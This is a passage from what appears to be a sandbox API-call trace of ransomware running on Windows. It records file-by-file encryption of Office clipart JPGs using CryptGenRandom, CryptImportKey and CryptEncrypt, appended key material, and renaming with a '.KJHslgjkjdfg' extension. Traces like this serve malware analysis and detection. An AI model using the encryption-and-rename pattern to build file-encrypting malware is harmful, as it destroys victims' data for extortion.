lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.577] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.577] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.577] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.577] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x7c6a, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x7c6a, lpOverlapped=0x0) returned 1 [0173.578] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c70, dwBufLen=0x7c70 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x7c70) returned 1 [0173.579] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.579] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x7c70, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x7c70, lpOverlapped=0x0) returned 1 [0173.579] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.579] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x7d44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.579] SetEndOfFile (hFile=0x114) returned 1 [0173.582] GetProcessHeap () returned 0x2a0000 [0173.582] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.582] GetProcessHeap () returned 0x2a0000 [0173.582] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.582] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145669.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145669.jpg.kjhslgjkjdfg")) returned 1 [0173.583] CloseHandle (hObject=0x114) returned 1 [0173.583] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1a05b300, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1a05b300, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fd4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145707.JPG", cAlternateFileName="")) returned 1 [0173.583] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.584] GetProcessHeap () returned 0x2a0000 [0173.584] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.584] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.584] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.584] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xc, lpOverlapped=0x0) returned 1 [0173.587] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.587] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.587] GetProcessHeap () returned 0x2a0000 [0173.587] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.587] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.587] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.587] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.587] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.588] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.588] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.588] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.588] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.588] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.588] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.588] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.588] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8fd4, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8fd4, lpOverlapped=0x0) returned 1 [0173.589] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8fe0, dwBufLen=0x8fe0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8fe0) returned 1 [0173.590] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.590] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8fe0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8fe0, lpOverlapped=0x0) returned 1 [0173.590] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.590] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x90b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.590] SetEndOfFile (hFile=0x114) returned 1 [0173.593] GetProcessHeap () returned 0x2a0000 [0173.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.593] GetProcessHeap () returned 0x2a0000 [0173.593] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.593] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.kjhslgjkjdfg")) returned 1 [0173.595] CloseHandle (hObject=0x114) returned 1 [0173.595] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50dbc900, ftCreationTime.dwHighDateTime=0x1bdbf72, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50dbc900, ftLastWriteTime.dwHighDateTime=0x1bdbf72, nFileSizeHigh=0x0, nFileSizeLow=0x8fb8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145810.JPG", cAlternateFileName="")) returned 1 [0173.595] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.597] GetProcessHeap () returned 0x2a0000 [0173.597] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.597] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.597] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.597] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.599] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.599] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.599] GetProcessHeap () returned 0x2a0000 [0173.599] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.599] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.600] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.600] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.600] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.600] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.600] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.600] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.600] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.600] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.600] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.600] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.600] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8fb8, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8fb8, lpOverlapped=0x0) returned 1 [0173.602] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8fc0, dwBufLen=0x8fc0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8fc0) returned 1 [0173.602] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.602] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8fc0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8fc0, lpOverlapped=0x0) returned 1 [0173.603] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.603] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x9094, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.603] SetEndOfFile (hFile=0x114) returned 1 [0173.605] GetProcessHeap () returned 0x2a0000 [0173.605] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.605] GetProcessHeap () returned 0x2a0000 [0173.605] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.605] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145810.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145810.jpg.kjhslgjkjdfg")) returned 1 [0173.607] CloseHandle (hObject=0x114) returned 1 [0173.607] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd5d84e00, ftCreationTime.dwHighDateTime=0x1c026b6, ftLastAccessTime.dwLowDateTime=0x65f27470, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd5d84e00, ftLastWriteTime.dwHighDateTime=0x1c026b6, nFileSizeHigh=0x0, nFileSizeLow=0x8a5b, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145879.JPG", cAlternateFileName="")) returned 1 [0173.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.609] GetProcessHeap () returned 0x2a0000 [0173.609] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.609] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.609] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.609] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0x5, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0x5, lpOverlapped=0x0) returned 1 [0173.612] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.612] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.612] GetProcessHeap () returned 0x2a0000 [0173.612] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.612] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.612] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.612] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.612] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.612] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.612] WriteFile (in: hFile=0x114, lpBuffer=0x2c5158*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c5158*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.612] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.613] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.613] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4970, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.613] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.613] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.613] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x8a5b, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x8a5b, lpOverlapped=0x0) returned 1 [0173.614] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8a60, dwBufLen=0x8a60 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x8a60) returned 1 [0173.615] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.615] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x8a60, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x8a60, lpOverlapped=0x0) returned 1 [0173.615] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.615] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x8b34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.615] SetEndOfFile (hFile=0x114) returned 1 [0173.618] GetProcessHeap () returned 0x2a0000 [0173.618] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bf570 | out: hHeap=0x2a0000) returned 1 [0173.618] GetProcessHeap () returned 0x2a0000 [0173.618] HeapFree (in: hHeap=0x2a0000, dwFlags=0x0, lpMem=0x2bdd90 | out: hHeap=0x2a0000) returned 1 [0173.618] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.kjhslgjkjdfg")) returned 1 [0173.620] CloseHandle (hObject=0x114) returned 1 [0173.620] FindNextFileW (in: hFindFile=0x2c6260, lpFindFileData=0x290f300 | out: lpFindFileData=0x290f300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7962500, ftCreationTime.dwHighDateTime=0x1c03d89, ftLastAccessTime.dwLowDateTime=0x56406370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7962500, ftLastWriteTime.dwHighDateTime=0x1c03d89, nFileSizeHigh=0x0, nFileSizeLow=0x84a6, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0145895.JPG", cAlternateFileName="")) returned 1 [0173.620] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145895.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145895.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0173.621] GetProcessHeap () returned 0x2a0000 [0173.621] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x10) returned 0x2bdd90 [0173.621] CryptGenRandom (in: hProv=0x2bcb08, dwLen=0x10, pbBuffer=0x2bdd90 | out: pbBuffer=0x2bdd90) returned 1 [0173.621] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f290 | out: lpNewFilePointer=0x0) returned 1 [0173.621] WriteFile (in: hFile=0x114, lpBuffer=0x290f2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f2a0*, lpNumberOfBytesWritten=0x290f270*=0xa, lpOverlapped=0x0) returned 1 [0173.623] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.623] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.623] GetProcessHeap () returned 0x2a0000 [0173.623] RtlAllocateHeap (HeapHandle=0x2a0000, Flags=0x0, Size=0x40) returned 0x2bf570 [0173.623] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40, dwBufLen=0x40 | out: pbData=0x2bf570*, pdwDataLen=0x290f258*=0x40) returned 1 [0173.623] CryptDestroyKey (hKey=0x2c63a0) returned 1 [0173.623] WriteFile (in: hFile=0x114, lpBuffer=0x2bf570*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bf570*, lpNumberOfBytesWritten=0x290f270*=0x40, lpOverlapped=0x0) returned 1 [0173.623] WriteFile (in: hFile=0x114, lpBuffer=0x290f278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f278*, lpNumberOfBytesWritten=0x290f270*=0x4, lpOverlapped=0x0) returned 1 [0173.623] WriteFile (in: hFile=0x114, lpBuffer=0x2bdd90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2bdd90*, lpNumberOfBytesWritten=0x290f270*=0x10, lpOverlapped=0x0) returned 1 [0173.624] WriteFile (in: hFile=0x114, lpBuffer=0x2c1920*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x2c1920*, lpNumberOfBytesWritten=0x290f270*=0x80, lpOverlapped=0x0) returned 1 [0173.624] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x290f298 | out: lpNewFilePointer=0x0) returned 1 [0173.624] WriteFile (in: hFile=0x114, lpBuffer=0x290f288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x290f288*, lpNumberOfBytesWritten=0x290f270*=0x8, lpOverlapped=0x0) returned 1 [0173.624] CryptImportKey (in: hProv=0x2bcb08, pbData=0x2c4af8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x290f274 | out: phKey=0x290f274*=0x2c63a0) returned 1 [0173.624] CryptSetKeyParam (hKey=0x2c63a0, dwParam=0x1, pbData=0x2bdd90, dwFlags=0x0) returned 1 [0173.624] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.624] ReadFile (in: hFile=0x114, lpBuffer=0x26c0020, nNumberOfBytesToRead=0x84a6, lpNumberOfBytesRead=0x290f27c, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesRead=0x290f27c*=0x84a6, lpOverlapped=0x0) returned 1 [0173.625] CryptEncrypt (in: hKey=0x2c63a0, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x26c0020*, pdwDataLen=0x290f258*=0x84b0, dwBufLen=0x84b0 | out: pbData=0x26c0020*, pdwDataLen=0x290f258*=0x84b0) returned 1 [0173.626] SetFilePointerEx (in: hFile=0x114, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0173.626] WriteFile (in: hFile=0x114, lpBuffer=0x26c0020*, nNumberOfBytesToWrite=0x84b0, lpNumberOfBytesWritten=0x290f270, lpOverlapped=0x0 | out: lpBuffer=0x26c0020*, lpNumberOfBytesWritten=0x290f270*=0x84b0, lpOverlapped=0x0) returned 1 